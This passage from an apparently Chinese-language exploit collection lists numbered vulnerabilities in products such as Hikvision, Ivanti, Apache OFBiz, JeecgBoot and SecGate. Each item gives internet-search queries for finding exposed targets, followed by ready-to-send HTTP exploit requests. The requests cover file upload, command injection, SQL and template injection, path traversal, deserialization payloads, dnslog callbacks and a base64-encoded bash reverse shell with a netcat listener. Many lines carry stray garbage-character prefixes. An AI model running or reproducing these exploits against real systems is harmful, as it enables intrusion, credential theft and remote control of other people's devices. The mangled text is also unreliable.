: Y6 f& R9 k6 r8 W# K9 |POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
# V5 _/ W! n/ ~" J3 s* @% vHost: x.x.x.x
$ G5 o- W" h+ D- T% O! `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2 o+ g# I5 H2 k5 ^8 {! x. h4 yConnection: close
Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
1 r  i- R9 g( r3 E% z5 Q/ q8 p2 WAccept-Language: zh-CN,zh;q=0.9
: u7 M7 M$ c( t) I" I  kContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
' T* {' q- M& y0 ?' [
) U( i9 @* t) R1 a) q  U- V------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
4 \- s/ a: l3 S, {( P
( f4 Y+ u2 E8 S" `$ shello1234567
  M+ D6 P0 B' }$ x1 N  q4 s, L) e------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
( Z* z# e- H1 A- k. r------------398jnjVTTlDVXHlE7yYnfwBoix--
$ l4 e8 I; S3 K
; @- ]6 g& Y8 ~5 C. ^+ @- e" t: M
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
" o/ A, q# E* PFOFA：icon_hash="2001627082"
( |+ k9 ^" V( S1 s! z3 [0 p# ]! zPOST /Platform/System/FileUpload.ashx HTTP/1.1
2 Z4 [0 j% `0 d6 gHost: x.x.x.x
: b5 T; V- `' cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 Z: N. ~5 P- d0 aConnection: close
- ^* |; Z& |7 V7 _Content-Length: 336
Accept-Encoding: gzip
. s+ v6 A9 c9 }/ o* RContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
) Q1 D5 Y4 h' P! X1 b* \/ `Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
5 ~* l! u+ b( u/ S* }------YsOxWxSvj1KyZow1PTsh98fdu6l
  K% ?' F/ }( C  Q3 W0 CContent-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
4 o  D1 G/ \3 X1 k$ j/ m: L------YsOxWxSvj1KyZow1PTsh98fdu6l--
$ b: [" |3 s7 ^5 d: Q! P
0 b: g, k) P% c& f3 p$ @) H
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
. M/ H6 }; S) I7 R* A, u- S

- l. Z5 l! m& T" C2 w4 d+ ]79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
  G) I2 e; T. Y; SGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, v, z. R, u5 B5 g6 mConnection: close
Upgrade-Insecure-Requests: 1

) T' ?/ }. l, Q# h- x5 H, A0 s; p
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
- l  v8 t1 T6 ?% @POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
$ q% C4 G5 x' L7 k5 a' z' p$ K/ o/ HHost: x.x.x.x
& x* ^) }6 s' F. F( _! Q8 T  \: bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 Q" B9 F* H3 H, _, \: WContent-Length: 27
6 e& x) `; y4 {6 ?+ vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 ]0 E* ^7 a' K0 i. J, k! P0 KAccept-Encoding: gzip, deflate
" M  e3 X% B' _, t' k8 u3 w# JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 [) m- W- A, UConnection: close
0 l. V" h; X8 N8 K) ?Content-Type: application/octet-stream
/ W8 |* n2 X, [5 MUpgrade-Insecure-Requests: 1
/ P% {; W7 A- C) S/ _2 Q
( ~% R6 O1 ~* E  B& F7 T+ O3 j( J) {<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
7 P+ f3 |  i" m7 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  K& F2 A. X) ]% A- r( KConnection: close
Accept-Encoding: gzip

$ \$ m; }6 M1 Q9 O6 d
" q3 o  Q# ~# z, f9 K" C81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
2 f: b' m' m% j. w( t0 `- d9 tFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
( \" B  E* i9 s6 ~# {' XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% f/ b; k4 ^8 @5 _3 E( w/ e! s3 y% }Connection: close
Accept-Encoding: gzip
; W: O  d) s7 B- D5 _
0 W6 O! o: v/ d; }% Z! ]8 t( d' ~
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
6 |" @7 A% N9 ^4 a! X3 APOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
( V/ I2 e- H8 {- IContent-Length: 23
Accept-Encoding: gzip
Connection: close
6 B/ X  c: H/ P1 a: m6 x8 V5 vContent-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost

- O  J- x; u3 [
83. JeecgBoot testConnection 远程命令执行
* a6 ]* v' {* Y, C, PFOFA：title=="JeecgBoot 企业级低代码平台"
! k2 d% ]3 d  c0 V& ?: Y. T

POST /jmreport/testConnection HTTP/1.1
& ^1 [$ E1 s- J( e" Q+ bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
! M  W" f8 L; G3 l0 f# JCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
$ v: M7 ~1 d$ S/ B, m, y
PAYLOAD

2 j  ~0 j. |: c6 o  _) s84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

) b) i( r2 O( t) O. u: F4 ?4 n

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
4 e% |/ T  _0 [) o5 z  U8 w' P; ~User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
) O( l9 x8 h9 F  S: I4 xContent-Type: application/json
, o2 t, i) Y6 oAccept-Encoding: gzip
( p9 }- j- B5 d1 t9 u% s7 V2 P
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
/ Q' Q/ Z, ~" E: T* |$ a  "type": "0"
! D1 ~6 W; j0 s1 O! j% V& h: a}

6 s( [; ]! X0 p: {/ }  ]9 @6 T
85. SysAid On-premise< 23.3.36远程代码执行
* }& [$ T8 j' @* e. Y$ z. K& ~CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
# M: u) b# c% fEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
0 G  k. i" ~! n2 m( b+ fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
- ^  g' L" W% H4 |; I
+ j. H/ f$ K  n3 w" U  d' k; [( iPAYLOAD

' H  K! L0 v2 N7 G1 t( m1 @回显URL：http://x.x.x.x/userfiles/index.jsp
5 n' Z. p5 I- B2 t
86. 日本tosei自助洗衣机RCE
2 _0 T  g/ {# W6 FFOFA：body="tosei_login_check.php"
& T/ {0 C( P0 v% _1 [$ _+ lPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
! y( @9 }" F1 yAccept: */*
! G8 O& k% n4 L7 J) hAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
" }; n1 C7 w7 F0 u
host=%0acat${IFS}/etc/passwd%0a&command=ping

2 \+ B8 S- Q5 }/ \4 k! A. N+ t
- q  e  F: [# i7 G7 b# g9 L1 F6 g87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" J# |! A7 y; jConnection: close
$ D7 n6 D3 y, }- OContent-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
. [. p( p2 Q& m0 N; O0 \& QContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
/ x5 [6 u0 L9 {! i3 `' ~/ eContent-Type: text/plain
/ a4 p, p4 o: P5 o
( t. q. M! q2 O( A- e9 n& h2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


/jfhatuwe.php
! A3 o# S! K! ^# Y( e+ L+ E
6 m6 E# Z: g. O88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
1 _2 D) \- Y2 Y0 v! xFOFA：title="明御安全网关"
6 K9 ~: U( W6 P. K* z) e. ~0 ^* bGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
! N# p9 }6 f) M$ a; x6 ?Host: x.x.x.xx.x.x.x
1 A# h  ~$ \5 W9 S( IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 e. O) ?2 d' U: e+ T. b/ f  r# Y! YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 D2 R: H4 a: T! G! r. fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% `' }, E' [8 ]- r9 t) m0 L& t1 I
5 _& O6 R. L& I5 p' B# W
/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
4 [: W/ m+ j& P6 P4 Q1 k( I/ n1 FPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
" k' s' g0 Q3 V: VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
( a8 K9 d0 v4 i4 l$ sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+

8 o& N# ^/ h% W  T
% g+ f! R5 [0 ~5 I/ e2 G' h) i90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
: B/ `9 g* f! qFOFA：icon_hash="-1830859634"
1 o# R2 {* Q! e, {( IPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
* d, x( z+ r4 z$ nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
* _& l! t, r# I- K4 a8 o6 q$ IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: s0 @4 h) x; r( Z# yConnection: close
Content-Type: application/x-www-form-urlencoded
; \, h. H) N6 zX-Requested-With: XMLHttpRequest
5 u7 _4 w4 G" p0 J
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


; n% N# A3 F6 x" A8 X0 F" [91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
: }& h1 K, _. `* f  YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
3 o8 D& ?* J5 u$ T0 q, _Accept-Encoding: gzip, deflate
3 u" q: v( N" k4 m3 h/ {Accept: */*
Connection: keep-alive



% j, G8 d& r" j4 W( J9 ?. k: I# r92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
9 n/ p% |  `- m2 |. a/ M  {4 UPOST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
" l" V  D. {2 u: y' J: ?X-Requested-With: XMLHttpRequest
- Z/ d3 r4 i9 q4 AContent-Type: application/json;charset=UTF-8
5 r9 R: T0 e; V- `X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
) q2 H# P* J2 l/ {. h( F9 X/ hContent-Length: 5778

( ~% \5 R  V- u1 [& J4 m0 {' {5 F' C: WPAYLOAD

; B4 J: u2 j0 G6 g. O) S
0 A$ }3 Z5 e; M93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
3 G1 h; a/ B9 n5 TContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
2 z( Z2 i! a9 e) d% P" W------WebKitFormBoundarykcbkgdfx
! ~+ I* d6 [+ u' E) K. T$ \Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

" s) V9 r( ~! L0 c  W; c* A2 r: J& ~( \wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
7 {" u7 G; m* x6 z; w
8 [# H7 O5 _% @/ h6 f# dobj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
* y7 L; F' l0 d5 M0 I9 H! E
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
) S  {) c  N7 D% v+ e
! P# z. Q4 L$ S. B- o/ O( H) K5 ^
GET /attachements/xlskxknxa.txt HTTP/1.1
% \/ N; t- m* P$ @9 O+ {' q9 qHost: xx.xx.xx.xx
7 J% u) a& k- ?: W- n" D: T) h% v% \User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; B" ^. R( h$ t/ t
; G; R  N  F$ Z, R# ?0 D. j; V( A
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
2 t: d% ]' d! A0 B* S4 }FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
# K: e* u+ L2 I# j5 [- }1 x# gPOST /?g=obj_area_import_save HTTP/1.1
9 Q0 {2 S6 u0 C; {) B* eHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
' u# m( \3 |2 A3 VContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
0 \; D) |* D5 o0 k8 W------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
& o3 w3 i! _) U* w; }6 `) v6 YContent-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
! w3 _4 H7 ^: j1 J5 pContent-Disposition: form-data; name="submit_post"
. ?/ Z4 K5 E! R
, Q$ n- C1 m0 z7 j: robj_app_upfile
0 ~5 l$ F2 [: Q& B1 ?0 i$ f& @. ]& ?------WebKitFormBoundarybqvzqvmt
" @8 n# [# E, x$ p' S( ?7 E" t  aContent-Disposition: form-data; name="__hash__"
! p3 ?# ^, E" q' O# J$ |7 I1 f1 e
0b9d6b1ab7479ab69d9f71b05e0e9445
0 I3 Q6 s5 g- g------WebKitFormBoundarybqvzqvmt--



; G& R0 p6 u; j* G: j6 ]& `GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
! V  _7 h% ~7 W7 CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

% \$ X$ j, m0 P9 z8 t
' [+ f: S' S* b, h6 h/ L" \5 r7 g
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
* Z) g, T2 P- L- W5 KCVE-2023-49070
" o0 C8 X2 B" q4 J0 A+ @4 E7 QFOFA：app="Apache_OFBiz"
) b' h6 c' |% F( b& LPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
# P- W0 l2 |" O6 k7 F6 gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
' [1 ?- e0 b$ Y; o5 RContent-Type: application/xml
Accept-Encoding: gzip

) U- b! {9 r, k# y8 }& o0 [<?xml version="1.0"?>
<methodCall>
8 e! S1 ^* m3 H: j" X0 A   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
        <struct>
       <member>
          <name>test</name>
          <value>
( f6 l( [- s3 `( x1 K# M      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
  T9 j: z$ P  k" f) e  R+ Q      </struct>
      </value>
" K8 ]. E! w/ O" r1 q    </param>
: s0 F6 p6 z. c4 G" r0 z    </params>
</methodCall>
+ d( {! v3 ?0 M7 `$ @

6 m% \' ~$ u( E& o  H  v# ^用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

! J' h1 ^7 O: k& E* n) L
2 _/ I8 i( j  D1 `) [将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
4 s0 r  C# I1 L1 {" m( lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
% f' N" b. q% P% `+ c# YConnection: close
Content-Length: 889
$ d5 E2 C2 X5 v+ l% L  ZContent-Type: application/xml
Accept-Encoding: gzip
# S* F/ b: \. C' p  s
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
3 _! A' F8 T; G5 P$ WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
! v  u; }* ^, h5 K; R; TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
9 [! Z/ G; M0 b! w
- Q3 k6 a( o% r* }& YgroovyProgram=throw+new+Exception('id'.execute().text);
) J3 k; l$ m  ^* c# |
/ s+ [7 ]9 o" R
% {* U, H* E' u1 C反弹shell
在kali上启动一个监听
4 k- S, E2 l5 J# G: R9 unc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
) I$ J$ d- q! l& OHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
) Y' ~% t7 d7 B8 J
6 N' J. `4 z* R8 \( N; L5 D. ~groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
8 A+ a/ S3 y" y& r9 d; W
3 e" T: p; N8 s+ z2 T97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
1 h2 J# q8 u( ^) hFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
, l# z6 K# _. B) p) P: K6 qHost: 192.168.40.130:8085
, r7 D& w' m8 D9 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
: T& w0 l+ A, s; p# [Cookie: rememberMe=PAYLOAD
) q+ y' `/ o% [; sX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

, _/ ~6 L+ @* O7 w
* F$ ^! M# q/ n5 w) {, @1 N. {* x98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
+ M" Y. R- ?! {! `4 JFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
* ?! H3 J. N* ZHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
6 j) Y$ P2 \& b& ^0 e4 @" PConnection: close
2 c- y3 E( T$ H5 a- _  [0 qContent-Length: 121
! q: J. t6 ?% p$ ?7 n' QAccept: */*
Accept-Encoding: gzip, deflate
4 a6 B. C/ q) ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
# g: P+ M; y  ~( v& _8 G& J2 R. _& lX-Requested-With: XMLHttpRequest

/ |: d/ y5 x% p' Aid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
! L. O4 x# A& f4 K3 |CVE-2024-0305
# g" e* }+ M! z& o  _( xFOFA：app="Ncast-产品" && title=="高清智能录播系统"
# e" J  f* Z' m5 u  tPOST /classes/common/busiFacade.php HTTP/1.1
& K8 @5 D9 M. t0 Y8 W  {Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
# \6 e* \" \( J4 q: MAccept: */*
Accept-Encoding: gzip, deflate
  E) o! H0 @  K0 PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
& b5 x( t7 K% u) B6 O) H2 g
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
/ M/ ?* A8 S9 v  w8 I( J
* `8 ~/ W& R. ]2 a7 F& G& `% i
9 Q/ N' @: }( Q: ^$ I7 O# @100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
" \. ^6 S* p2 `1 C5 ?7 n8 o5 VPOST /api/file/formimage HTTP/1.1
- y$ l1 Y( u: j! Z" J1 FHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
& j) X- D; b& ]# MContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
0 S0 Z: W4 ]0 z  V3 C  UAccept-Encoding: gzip
$ _* w& n. k# L. b1 r
------WebKitFormBoundarygcflwtei
0 P  n& Z4 C; p$ G; k* ZContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
$ \" E7 m4 n2 Z4 O
  B& n, v' g2 d5 e2ayyhRXiAsKXL8olvF5s4qqyI2O
2 x" C# j6 F' b6 D$ n& V& u% R------WebKitFormBoundarygcflwtei--


101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
( K% Q8 c6 ?* r& }. K: IGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
: q5 B& X7 w  s& [* k$ Y# zHost: x.x.x.xx.x.x.x
/ S$ h4 O3 p6 FUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
" E+ \8 z. ~1 tAccept-Encoding: gzip
" z$ Q. E6 Q9 G

, j% n9 e5 G+ X9 h102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
' L4 q$ f2 y% Q% M4 o6 [" O. _FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
4 }. S% S! p  O; AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
; Z, ?$ B0 E! p) P% a* ?$ SConnection: close
- ]* D2 B7 F& e' [. i+ |( aContent-Length: 792
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
9 w# n4 R5 E  |. w7 T5 QCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
0 ]  k! ~6 p0 P. xHost: 192.168.40.130:111
' `7 O" j% G8 oUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
